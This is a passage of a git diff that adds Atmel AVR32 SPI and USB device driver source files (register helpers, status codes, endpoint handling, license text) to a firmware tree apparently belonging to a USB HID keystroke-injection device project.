unsigned long sr = spi->sr; + + if (sr & AVR32_SPI_SR_OVRES_MASK) { + ret = SPI_ERROR_OVERRUN; + } + + if (sr & AVR32_SPI_SR_MODF_MASK) { + ret += SPI_ERROR_MODE_FAULT; + } + + if (ret == (SPI_ERROR_OVERRUN + SPI_ERROR_MODE_FAULT)) { + return SPI_ERROR_OVERRUN_AND_MODE_FAULT; + } + else if (ret > 0) { + return ret; + } else { + return SPI_OK; + } +} diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/spi/spi.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/spi/spi.h new file mode 100755 index 0000000..671e92f --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/spi/spi.h @@ -0,0 +1,698 @@ +/*This file is prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief SPI driver for AVR32 UC3. + * + * This file defines a useful set of functions for the SPI interface on AVR32 + * devices. + * + * - Compiler: IAR EWAVR32 and GNU GCC for AVR32 + * - Supported devices: All AVR32 devices with an SPI module can be used. + * - AppNote: + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + ******************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ + +#ifndef _SPI_H_ +#define _SPI_H_ + +#include "compiler.h" + +//! Time-out value (number of attempts). +#define SPI_TIMEOUT 15000 + +//! Spi Mode 0. +#define SPI_MODE_0 0 + +//! Spi Mode 1. +#define SPI_MODE_1 1 + + +//! Status codes used by the SPI driver. +typedef enum +{ + SPI_ERROR = -1, + SPI_OK = 0, + SPI_ERROR_TIMEOUT = 1, + SPI_ERROR_ARGUMENT, + SPI_ERROR_OVERRUN, + SPI_ERROR_MODE_FAULT, + SPI_ERROR_OVERRUN_AND_MODE_FAULT +} spi_status_t; + +//! Option structure for SPI channels. +typedef struct +{ + //! The SPI channel to set up. + uint8_t reg; + + //! Preferred baudrate for the SPI. + uint32_t baudrate; + + //! Number of bits in each character (8 to 16). + uint8_t bits; + //! Delay before first clock pulse after selecting slave (in PBA clock periods). + uint8_t spck_delay; + + //! Delay between each transfer/character (in PBA clock periods). + uint8_t trans_delay; + + //! Sets this chip to stay active after last transfer to it. + uint8_t stay_act; + + //! Which SPI mode to use when transmitting. + uint8_t spi_mode; + + //! Disables the mode fault detection. + //! With this bit cleared, the SPI master mode will disable itself if another + //! master tries to address it. + uint8_t modfdis; +} spi_options_t; + +/*! \brief Reset the SPI. + * + * \param spi Base address of the SPI instance. + * + */ +static inline void spi_reset(volatile avr32_spi_t *spi) +{ + spi->cr = AVR32_SPI_CR_SWRST_MASK; +} + +/*! \brief Set Master Mode of the SPI. + * + * \param spi Base address of the SPI instance. + */ +static inline void spi_set_master_mode(volatile avr32_spi_t *spi) +{ + spi->MR.mstr = 1; +} + +/*! \brief Set Slave Mode of the SPI. + * + * \param spi Base address of the SPI instance. + */ +static inline void spi_set_slave_mode(volatile avr32_spi_t *spi) +{ + spi->MR.mstr = 0; +} + +/*! \brief Enable Modfault of the SPI. + * + * \param spi Base address of the SPI instance. + */ +static inline void spi_enable_modfault(volatile avr32_spi_t *spi) +{ + spi->MR.modfdis = 0; +} + +/*! \brief Disable Modfault of the SPI. + * + * \param spi Base address of the SPI instance. + */ +static inline void spi_disable_modfault(volatile avr32_spi_t *spi) +{ + spi->MR.modfdis = 1; +} + +/*! \brief Enable Loopback of the SPI. + * + * \param spi Base address of the SPI instance. + */ +static inline void spi_enable_loopback(volatile avr32_spi_t *spi) +{ + spi->MR.llb = 1; +} + +/*! \brief Disable Loopback of the SPI. + * + * \param spi Base address of the SPI instance. + */ +static inline void spi_disable_loopback(volatile avr32_spi_t *spi) +{ + spi->MR.llb = 0; +} + +/*! \brief Enable Chip Select Decoding of the SPI. + * + * \param spi Base address of the SPI instance. + */ +static inline void spi_enable_chipselect_decoding(volatile avr32_spi_t *spi) +{ + spi->MR.pcsdec = 1; +} + +/*! \brief Disable Chip Select Decoding of the SPI. + * + * \param spi Base address of the SPI instance. + */ +static inline void spi_disable_chipselect_decoding(volatile avr32_spi_t *spi) +{ + spi->MR.pcsdec = 0; +} + +/*! \brief Set Chip Select of the SPI. + * + * \param spi Base address of the SPI instance. + * \param chip_select Chip Select. + */ +static inline void spi_set_chipselect(volatile avr32_spi_t *spi,uint8_t chip_select) +{ + spi->MR.pcs = chip_select; +} + +/*! \brief Enable Variable Chip Select of the SPI. + * + * \param spi Base address of the SPI instance. + */ +static inline void spi_enable_variable_chipselect(volatile avr32_spi_t *spi) +{ + spi->MR.ps = 1; +} + +/*! \brief Disable Variable Chip Select of the SPI. + * + * \param spi Base address of the SPI instance. + */ +static inline void spi_disable_variable_chipselect(volatile avr32_spi_t *spi) +{ + spi->MR.ps = 0; +} + +/*! \brief Set Delay Between Chip Selects of the SPI. + * + * \param spi Base address of the SPI instance. + * \param delay Delay. + */ +static inline void spi_set_delay(volatile avr32_spi_t *spi,uint8_t delay) +{ + spi->MR.dlybcs = delay; +} + +/*! \brief Set Delay Between Consecutive Transfer on a Chip Selects of the SPI. + * + * \param spi Base address of the SPI instance. + * \param chip_select Chip Select. + * \param delay Delay. + */ + +static inline void spi_set_chipselect_delay_bct(volatile avr32_spi_t *spi, + uint8_t chip_select, uint8_t delay) +{ + Assert(chip_select>3); + switch(chip_select) { + case 0: + spi->CSR0.dlybct = delay; + break; + case 1: + spi->CSR1.dlybct = delay; + break; + case 2: + spi->CSR2.dlybct = delay; + break; + case 3: + spi->CSR3.dlybct = delay; + break; + } +} + +/*! \brief Set Delay Before SPCK on a Chip Selects of the SPI. + * + * \param spi Base address of the SPI instance. + * \param chip_select Chip Select. + * \param delay Delay. + */ +static inline void spi_set_chipselect_delay_bs(volatile avr32_spi_t *spi, + uint8_t chip_select, uint8_t delay) +{ + Assert(chip_select>3); + switch(chip_select) { + case 0: + spi->CSR0.dlybs = delay; + break; + case 1: + spi->CSR1.dlybs = delay; + break; + case 2: + spi->CSR2.dlybs = delay; + break; + case 3: + spi->CSR3.dlybs = delay; + break; + } +} + +/*! \brief Set Delay Before SPCK on a Chip Selects of the SPI. + * + * \param spi Base address of the SPI instance. + * \param chip_select Chip Select. + * \param len Bits per Transfer [8...16]. + */ +static inline void spi_set_bits_per_transfer(volatile avr32_spi_t *spi, uint8_t chip_select, + uint8_t len) +{ + Assert((len>8)&&(len<16)); + switch(chip_select) { + case 0: + spi->CSR0.bits = len - 8; + break; + case 1: + spi->CSR1.bits = len - 8; + break; + case 2: + spi->CSR2.bits = len - 8; + break; + case 3: + spi->CSR3.bits = len - 8; + break; + } +} + +/*! \brief Set baudrate for a Chip Selects of the SPI. + * + * \param spi Base address of the SPI instance. + * \param chip_select Chip Select. + * \param scbr Baudrate Register. + */ +static inline void spi_set_baudrate_register(volatile avr32_spi_t *spi,uint8_t chip_select, + uint8_t scbr) +{ + switch(chip_select) { + case 0: + spi->CSR0.scbr = scbr; + break; + case 1: + spi->CSR1.scbr = scbr; + break; + case 2: + spi->CSR2.scbr = scbr; + break; + case 3: + spi->CSR3.scbr = scbr; + break; + } +} + +/*! \brief Enable Active mode of a Chip Selects of the SPI. + * + * \param spi Base address of the SPI instance. + * \param chip_select Chip Select. + */ +static inline void spi_enable_active_mode(volatile avr32_spi_t *spi,uint8_t chip_select) +{ + switch(chip_select) { + case 0: + spi->CSR0.csaat = 1; + break; + case 1: + spi->CSR1.csaat = 1; + break; + case 2: + spi->CSR2.csaat = 1; + break; + case 3: + spi->CSR3.csaat = 1; + break; + } +} + +/*! \brief Set Mode of the SPI. + * + * \param spi Base address of the SPI instance. + * \param chip_select Chip Select. + * \param flags SPI Mode. + */ +static inline void spi_set_mode(volatile avr32_spi_t *spi,uint8_t chip_select, + uint8_t flags) +{ + switch(chip_select) { + case 0: + spi->CSR0.cpol = flags >> 1; + spi->CSR0.ncpha = (flags & 0x1) ^ 0x1; + break; + case 1: + spi->CSR1.cpol = flags >> 1; + spi->CSR1.ncpha = (flags & 0x1) ^ 0x1; + break; + case 2: + spi->CSR2.cpol = flags >> 1; + spi->CSR2.ncpha = (flags & 0x1) ^ 0x1; + break; + case 3: + spi->CSR3.cpol = flags >> 1; + spi->CSR3.ncpha = (flags & 0x1) ^ 0x1; + break; + } +} + +/*! \brief Put one data to a SPI peripheral. + * + * \param spi Base address of the SPI instance. + * \param data The data byte to be loaded + * + */ +static inline void spi_put(volatile avr32_spi_t *spi, uint16_t data) +{ + spi->tdr = data << AVR32_SPI_TDR_TD_OFFSET; +} + +/*! \brief Get one data to a SPI peripheral. + * + * \param spi Base address of the SPI instance. + * \return The data byte + * + */ +static inline uint16_t spi_get(volatile avr32_spi_t *spi) +{ + return (spi->rdr >> AVR32_SPI_RDR_RD_OFFSET); +} + +/*! \brief Checks if all transmissions are complete. + * + * \param spi Base address of the SPI instance. + * + * \return Status. + * \retval 1 All transmissions complete. + * \retval 0 Transmissions not complete. + */ +static inline bool spi_is_tx_empty(volatile avr32_spi_t *spi) +{ + return (spi->sr & AVR32_SPI_SR_TXEMPTY_MASK) != 0; +} + +/*! \brief Checks if all transmissions is ready. + * + * \param spi Base address of the SPI instance. + * + * \return Status. + * \retval 1 All transmissions complete. + * \retval 0 Transmissions not complete. + */ +static inline bool spi_is_tx_ready(volatile avr32_spi_t *spi) +{ + return (spi->sr & AVR32_SPI_SR_TDRE_MASK) != 0; +} + +/*! \brief Check if the SPI contains a received character. + * + * \param spi Base address of the SPI instance. + * + * \return \c 1 if the SPI Receive Holding Register is full, otherwise \c 0. + */ +static inline bool spi_is_rx_full(volatile avr32_spi_t *spi) +{ + return (spi->sr & AVR32_SPI_SR_RDRF_MASK) != 0; +} + +/*! \brief Checks if all reception is ready. + * + * \param spi Base address of the SPI instance. + * + * \return \c 1 if the SPI Receiver is ready, otherwise \c 0. + */ +static inline bool spi_is_rx_ready(volatile avr32_spi_t *spi) +{ + return (spi->sr & (AVR32_SPI_SR_RDRF_MASK | AVR32_SPI_SR_TXEMPTY_MASK)) == + (AVR32_SPI_SR_RDRF_MASK | AVR32_SPI_SR_TXEMPTY_MASK); +} + +/*! \brief Resets the SPI controller. + * + * \param spi Base address of the SPI instance. + */ +extern void spi_reset(volatile avr32_spi_t *spi); + +/*! \brief Initializes the SPI in slave mode. + * + * \param spi Base address of the SPI instance. + * \param bits Number of bits in each transmitted character (8 to 16). + * \param spi_mode Clock polarity and phase. + * + * \return Status. + * \retval SPI_OK Success. + * \retval SPI_ERROR_ARGUMENT Invalid argument(s) passed. + */ +extern spi_status_t spi_initSlave(volatile avr32_spi_t *spi, + uint8_t bits, + uint8_t spi_mode); + +/*! \brief Sets up the SPI in a test mode where the transmitter is connected to + * the receiver (local loopback). + * + * \param spi Base address of the SPI instance. + * + * \return Status. + * \retval SPI_OK Success. + */ +extern spi_status_t spi_initTest(volatile avr32_spi_t *spi); + +/*! \brief Initializes the SPI in master mode. + * + * \param spi Base address of the SPI instance. + * \param options Pointer to a structure containing initialization options. + * + * \return Status. + * \retval SPI_OK Success. + * \retval SPI_ERROR_ARGUMENT Invalid argument(s) passed. + */ +extern spi_status_t spi_initMaster(volatile avr32_spi_t *spi, const spi_options_t *options); + +/*! \brief Calculates the baudrate divider. + * + * \param baudrate Baudrate value. + * \param pba_hz SPI module input clock frequency (PBA clock, Hz). + * + * \return Divider or error code. + * \retval >=0 Success. + * \retval <0 Error. + */ +extern int16_t getBaudDiv(const unsigned int baudrate, uint32_t pba_hz); + +/*! \brief Sets up how and when the slave chips are selected (master mode only). + * + * \param spi Base address of the SPI instance. + * \param variable_ps Target slave is selected in transfer register for every + * character to transmit. + * \param pcs_decode The four chip select lines are decoded externally. Values + * 0 to 14 can be given to \ref spi_selectChip. + * \param delay Delay in PBA periods between chip selects. + * + * \return Status. + * \retval SPI_OK Success. + * \retval SPI_ERROR_ARGUMENT Invalid argument(s) passed. + */ +extern spi_status_t spi_selectionMode(volatile avr32_spi_t *spi, + uint8_t variable_ps, + uint8_t pcs_decode, + uint8_t delay); +/*! \brief Selects slave chip. + * + * \param spi Base address of the SPI instance. + * \param chip Slave chip number (normal: 0 to 3, extarnally decoded signal: 0 + * to 14). + * + * \return Status. + * \retval SPI_OK Success. + * \retval SPI_ERROR_ARGUMENT Invalid argument(s) passed. + */ +extern spi_status_t spi_selectChip(volatile avr32_spi_t *spi, unsigned char chip); + +/*! \brief Unselects slave chip. + * + * \param spi Base address of the SPI instance. + * \param chip Slave chip number (normal: 0 to 3, extarnally decoded signal: 0 + * to 14). + * + * \return Status. + * \retval SPI_OK Success. + * \retval SPI_ERROR_TIMEOUT Time-out. + * + * \note Will block program execution until time-out occurs if last transmission + * is not complete. Invoke \ref spi_writeEndCheck beforehand if needed. + */ +extern spi_status_t spi_unselectChip(volatile avr32_spi_t *spi, unsigned char chip); + +/*! \brief Sets options for a specific slave chip. + * + * The baudrate field has to be written before transfer in master mode. Four + * similar registers exist, one for each slave. When using encoded slave + * addressing, reg=0 sets options for slaves 0 to 3, reg=1 for slaves 4 to 7 and + * so on. + * + * \param spi Base address of the SPI instance. + * \param options Pointer to a structure containing initialization options for + * an SPI channel. + * \param pba_hz SPI module input clock frequency (PBA clock, Hz). + * + * \return Status. + * \retval SPI_OK Success. + * \retval SPI_ERROR_ARGUMENT Invalid argument(s) passed. + */ +extern spi_status_t spi_setupChipReg(volatile avr32_spi_t *spi, + const spi_options_t *options, + uint32_t pba_hz); +/*! \brief Enables the SPI. + * + * \param spi Base address of the SPI instance. + */ +extern void spi_enable(volatile avr32_spi_t *spi); + +/*! \brief Disables the SPI. + * + * Ensures that nothing is transferred while setting up buffers. + * + * \param spi Base address of the SPI instance. + * + * \warning This may cause data loss if used on a slave SPI. + */ +extern void spi_disable(volatile avr32_spi_t *spi); + +/*! \brief Tests if the SPI is enabled. + * + * \param spi Base address of the SPI instance. + * + * \return \c 1 if the SPI is enabled, otherwise \c 0. + */ +extern int spi_is_enabled(volatile avr32_spi_t *spi); + +/*! \brief Checks if there is no data in the transmit register. + * + * \param spi Base address of the SPI instance. + * + * \return Status. + * \retval 1 No data in TDR. + * \retval 0 Some data in TDR. + */ +extern unsigned char spi_writeRegisterEmptyCheck(volatile avr32_spi_t *spi); + +/*! \brief Writes one data word in master fixed peripheral select mode or in + * slave mode. + * + * \param spi Base address of the SPI instance. + * \param data The data word to write. + * + * \return Status. + * \retval SPI_OK Success. + * \retval SPI_ERROR_TIMEOUT Time-out. + * + * \note Will block program execution until time-out occurs if transmitter is + * busy and transmit buffer is full. Invoke + * \ref spi_writeRegisterEmptyCheck beforehand if needed. + * + * \note Once the data has been written to the transmit buffer, the end of + * transmission is not waited for. Invoke \ref spi_writeEndCheck if + * needed. + */ +extern spi_status_t spi_write(volatile avr32_spi_t *spi, uint16_t data); + +/*! \brief Selects a slave in master variable peripheral select mode and writes + * one data word to it. + * + * \param spi Base address of the SPI instance. + * \param data The data word to write. + * \param pcs Slave selector (bit 0 -> nCS line 0, bit 1 -> nCS line 1, + * etc.). + * \param lastxfer Boolean indicating whether this is the last data word + * transfer. + * + * \return Status. + * \retval SPI_OK Success. + * \retval SPI_ERROR_TIMEOUT Time-out. + * \retval SPI_ERROR_ARGUMENT Invalid argument(s) passed. + * + * \note Will block program execution until time-out occurs if transmitter is + * busy and transmit buffer is full. Invoke + * \ref spi_writeRegisterEmptyCheck beforehand if needed. + * + * \note Once the data has been written to the transmit buffer, the end of + * transmission is not waited for. Invoke \ref spi_writeEndCheck if + * needed. + */ +extern spi_status_t spi_variableSlaveWrite(volatile avr32_spi_t *spi, + uint16_t data, + uint8_t pcs, + uint8_t lastxfer); + +/*! \brief Checks if all transmissions are complete. + * + * \param spi Base address of the SPI instance. + * + * \return Status. + * \retval 1 All transmissions complete. + * \retval 0 Transmissions not complete. + */ +extern unsigned char spi_writeEndCheck(volatile avr32_spi_t *spi); + +/*! \brief Checks if there is data in the receive register. + * + * \param spi Base address of the SPI instance. + * + * \return Status. + * \retval 1 Some data in RDR. + * \retval 0 No data in RDR. + */ +extern unsigned char spi_readRegisterFullCheck(volatile avr32_spi_t *spi); + +/*! \brief Reads one data word in master mode or in slave mode. + * + * \param spi Base address of the SPI instance. + * \param data Pointer to the location where to store the received data word. + * + * \return Status. + * \retval SPI_OK Success. + * \retval SPI_ERROR_TIMEOUT Time-out. + * + * \note Will block program execution until time-out occurs if no data is + * received or last transmission is not complete. Invoke + * \ref spi_writeEndCheck or \ref spi_readRegisterFullCheck beforehand if + * needed. + */ +extern spi_status_t spi_read(volatile avr32_spi_t *spi, uint16_t *data); + +/*! \brief Gets status information from the SPI. + * + * \param spi Base address of the SPI instance. + * + * \return Status. + * \retval SPI_OK Success. + * \retval SPI_ERROR_OVERRUN Overrun error. + * \retval SPI_ERROR_MODE_FAULT Mode fault (SPI addressed as slave + * while in master mode). + * \retval SPI_ERROR_OVERRUN_AND_MODE_FAULT Overrun error and mode fault. + */ +extern unsigned char spi_getStatus(volatile avr32_spi_t *spi); + +#endif // _SPI_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/usbb/usbb_device.c b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/usbb/usbb_device.c new file mode 100755 index 0000000..0bc9cf1 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/usbb/usbb_device.c @@ -0,0 +1,1499 @@ +/** + * \file + * + * \brief USB Device drivers + * Compliance with common driver UDD + * + * Copyright (C) 2009 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ + +#include "conf_usb.h" +#include "sysclk.h" +#include "udd.h" +#include "usbb_otg.h" +#include "usbb_device.h" +#include + +#ifndef UDD_NO_SLEEP_MGR +#include "sleepmgr.h" +#endif + +#ifndef UDD_USB_INT_LEVEL +# define UDD_USB_INT_LEVEL 0 // By default USB interrupt have low priority +#endif + +/** + * \ingroup usb_device_group + * \defgroup udd_group USB Device Driver (UDD) + * + * \section USBB_CONF USBB Custom configuration + * The following USBB driver configuration must be included in the conf_usb.h + * file of the application. + * + * UDD_USB_INT_LEVEL
+ * Option to change the interrupt priority (0 to 3) by default 0 (recommended). + * + * UDD_ISOCHRONOUS_NB_BANK
+ * Feature to reduce or increase isochronous endpoints buffering (1 to 2). + * Default value 2. + * + * UDD_BULK_NB_BANK
+ * Feature to reduce or increase bulk endpoints buffering (1 to 2). + * Default value 2. + * + * UDD_INTERRUPT_NB_BANK
+ * Feature to reduce or increase interrupt endpoints buffering (1 to 2). + * Default value 1. + * + * \section Callbacks management + * The USB driver is fully managed by interrupt and does not request periodique + * task. Thereby, the USB events use callbacks to transfer the information. + * The callbacks are declared in static during compilation or in variable during + * code execution. + * + * Static declarations defined in conf_usb.h: + * - UDC_VBUS_EVENT(bool b_present)
+ * To signal Vbus level change + * - UDC_SUSPEND_EVENT()
+ * Called when USB bus enter in suspend mode + * - UDC_RESUME_EVENT()
+ * Called when USB bus is wakeup + * - UDC_SOF_EVENT()
+ * Called for each received SOF, Note: Each 1ms in HS/FS mode only. + * + * Dynamic callbacks, called "endpoint job" , are registered + * in udd_ep_job_t structure via the following functions: + * - udd_ep_run()
+ * To call it when a transfer is finish + * - udd_ep_wait_stall_clear()
+ * To call it when a endpoint halt is disabled + * + * \section Power mode management + * The Sleep modes authorized : + * - in USB IDLE state, the USBB needs of USB clock and authorizes up to IDLE mode + * - in USB SUSPEND state, the USBB no needs USB clock but requests a minimum + * clock restart timing. Thus, it authorizes up to STATIC or STANDBY mode. + * - VBUS monitoring used in USB Self-Power mode authorizes up to STOP mode + * + * The USBB_SLEEP_MODE_USB_IDLE equals SLEEPMGR_IDLE. + * + * The USBB_SLEEP_MODE_USB_SUSPEND depends on USB Power mode, + * USB clock startup timing and USB Speed mode: + * | Power Mode | Speed mode | Clock Startup | Sleep mode authorized | + * | Self-Power | LS, FS, HS | X | SLEEPMGR_STOP | + * | Bus-Power | LS, FS | >10ms | SLEEPMGR_STDBY | + * | Bus-Power | LS, FS | <=10ms | SLEEPMGR_STATIC | + * | Bus-Power | HS | >3ms | SLEEPMGR_STDBY | + * | Bus-Power | HS | <=3ms | SLEEPMGR_STATIC | + * + * @{ + */ + + +// Check USB Device configuration +#ifndef USB_DEVICE_EP_CTRL_SIZE +# error USB_DEVICE_EP_CTRL_SIZE not defined +#endif +#ifndef USB_DEVICE_MAX_EP +# error USB_DEVICE_MAX_EP not defined +#endif +#if (UC3A0 || UC3A1 || UC3B) +# ifdef USB_DEVICE_HS_SUPPORT +# error The High speed mode is not supported on this part, please remove USB_DEVICE_HS_SUPPORT in conf_usb.h +# endif +#endif + +#ifndef UDD_ISOCHRONOUS_NB_BANK + #define UDD_ISOCHRONOUS_NB_BANK 2 +#else + #if (UDD_ISOCHRONOUS_NB_BANK<1) || (UDD_ISOCHRONOUS_NB_BANK>2) + #error UDD_ISOCHRONOUS_NB_BANK must be define with 1 or 2. + #endif +#endif +#ifndef UDD_BULK_NB_BANK + #define UDD_BULK_NB_BANK 2 +#else + #if (UDD_BULK_NB_BANK<1) || (UDD_BULK_NB_BANK>2) + #error UDD_BULK_NB_BANK must be define with 1 or 2. + #endif +#endif +#ifndef UDD_INTERRUPT_NB_BANK + #define UDD_INTERRUPT_NB_BANK 1 +#else + #if (UDD_INTERRUPT_NB_BANK<1) || (UDD_INTERRUPT_NB_BANK>2) + #error UDD_INTERRUPT_NB_BANK must be define with 1 or 2. + #endif +#endif + + +/** + * \name Power management routine. + */ +//@{ + +#ifndef UDD_NO_SLEEP_MGR + +//! Definition of sleep levels +#if (USB_DEVICE_ATTR & USB_CONFIG_ATTR_SELF_POWERED) +# define USBB_SLEEP_MODE_USB_SUSPEND SLEEPMGR_STOP +#else +# if ((defined USB_DEVICE_HS_SUPPORT) && (USBCLK_STARTUP_TIMEOUT>3000)) \ + || ((!defined USB_DEVICE_HS_SUPPORT) && (USBCLK_STARTUP_TIMEOUT>10000)) +# define USBB_SLEEP_MODE_USB_SUSPEND SLEEPMGR_STDBY +# else +# define USBB_SLEEP_MODE_USB_SUSPEND SLEEPMGR_STATIC +# endif +#endif +#define USBB_SLEEP_MODE_USB_IDLE SLEEPMGR_IDLE + +//! State of USB line +static bool udd_b_idle; + + +/*! \brief Authorize or not the CPU powerdown mode + * + * \param b_enable true to authorize powerdown mode + */ +static void udd_sleep_mode(bool b_idle) +{ + if (!b_idle && udd_b_idle) { + sleepmgr_lock_mode(USBB_SLEEP_MODE_USB_IDLE); + } + if (b_idle && !udd_b_idle) { + sleepmgr_unlock_mode(USBB_SLEEP_MODE_USB_IDLE); + } + udd_b_idle = b_idle; +} +#else + +static void udd_sleep_mode(bool b_idle) { +} + +#endif // UDD_NO_SLEEP_MGR + +//@} + + +/** + * \name Control endpoint low level management routine. + * + * This function performs control endpoint mangement. + * It handle the SETUP/DATA/HANDSHAKE phases of a control transaction. + */ +//@{ + +//! Global variable to give and record information about setup request management +COMPILER_WORD_ALIGNED udd_ctrl_request_t udd_g_ctrlreq; + +//! Bit definitions about endpoint control state machine for udd_ep_control_state +typedef enum { + UDD_EPCTRL_SETUP = 0, //!< Wait a SETUP packet + UDD_EPCTRL_DATA_OUT = 1, //!< Wait a OUT data packet + UDD_EPCTRL_DATA_IN = 2, //!< Wait a IN data packet + UDD_EPCTRL_HANDSHAKE_WAIT_IN_ZLP = 3, //!< Wait a IN ZLP packet + UDD_EPCTRL_HANDSHAKE_WAIT_OUT_ZLP = 4, //!< Wait a OUT ZLP packet + UDD_EPCTRL_STALL_REQ = 5, //!< STALL enabled on IN & OUT packet +} udd_ctrl_ep_state_t; + +//! State of the endpoint control management +static udd_ctrl_ep_state_t udd_ep_control_state; +//! Total number of data received/sent during data packet phase with previous payload buffers +static uint16_t udd_ctrl_prev_payload_nb_trans; +//! Number of data received/sent to/from udd_g_ctrlreq.payload buffer +static uint16_t udd_ctrl_payload_nb_trans; +//! Signal if the udd_g_ctrlreq.payload buffer is modulo endpoint control and need of data ZLP +static bool udd_ctrl_payload_need_in_zlp; + +/** + * \brief Reset control endpoint + * + * Called after a USB line reset or when UDD is enabled + */ +static void udd_reset_ep_ctrl(void); + +/** + * \brief Reset control endpoint management + * + * Called after a USB line reset or at the end of SETUP request (after ZLP) + */ +static void udd_ctrl_init(void); + +//! \brief Managed reception of SETUP packet on control enpoint +static void udd_ctrl_setup_received(void); + +//! \brief Managed reception of IN packet on control enpoint +static void udd_ctrl_in_sent(void); + +//! \brief Managed reception of OUT packet on control enpoint +static void udd_ctrl_out_received(void); + +//! \brief Managed underflow event of IN packet on control enpoint +static void udd_ctrl_underflow(void); + +//! \brief Managed overflow event of OUT packet on control enpoint +static void udd_ctrl_overflow(void); + +//! \brief Managed stall event of IN/OUT packet on control enpoint +static void udd_ctrl_stall_data(void); + +//! \brief Send a ZLP IN on control endpoint +static void udd_ctrl_send_zlp_in(void); + +//! \brief Send a ZLP OUT on control endpoint +static void udd_ctrl_send_zlp_out(void); + +//! \brief Call callback associated to setup request +static void udd_ctrl_endofrequest(void); + +/** + * \brief Main interrupt routine for control endpoint + * + * This switchs control endpoint events to correct sub function. + * + * \return \c 1 if an event about control endpoint is occured, otherwise \c 0. + */ +static bool udd_ctrl_interrupt(void); + +//@} + + +/** + * \name Management of bulk/interrupt/isochronous endpoints + * + * The UDD manages the data transfer on endpoints: + * - Start data tranfer on endpoint with USB Device DMA + * - Send a ZLP packet if requested + * - Call callback registered to signal end of transfer + * The transfer abort and stall feature are supported. + */ +//@{ +#if (0!=USB_DEVICE_MAX_EP) + +//! Structure definition about job registered on an endpoint +typedef struct { + uint8_t busy:1; //!< A job is registered on this endpoint + uint8_t stall_requested:1; //!< A stall has been requested but not executed + uint8_t *buf; //!< Buffer located in internal RAM to send or fill during job + iram_size_t buf_size; //!< Size of buffer to send or fill + union { + udd_callback_trans_t call_trans; //!< Callback to call at the end of transfer + udd_callback_halt_cleared_t call_nohalt; //!< Callback to call when the endpoint halt is cleared + }; +} udd_ep_job_t; + + +//! Array to register a job on bulk/interrupt/isochronous endpoint +static udd_ep_job_t udd_ep_job[USB_DEVICE_MAX_EP]; + +//! \brief Reset all job table +static void udd_ep_job_table_reset(void); + +//! \brief Abort all endpoint jobs on going +static void udd_ep_job_table_kill(void); + +/** + * \brief Abort endpoint job on going + * + * \param ep endpoint number of job to abort + */ +static void udd_ep_abort_job(udd_ep_id_t ep); + +/** + * \brief Call the callback associated to the job which is finished + * + * \param ptr_job job to complete + * \param b_abort if true then the job has been aborted + */ +static void udd_ep_finish_job(udd_ep_job_t * ptr_job, bool b_abort); + +/** + * \brief Main interrupt routine 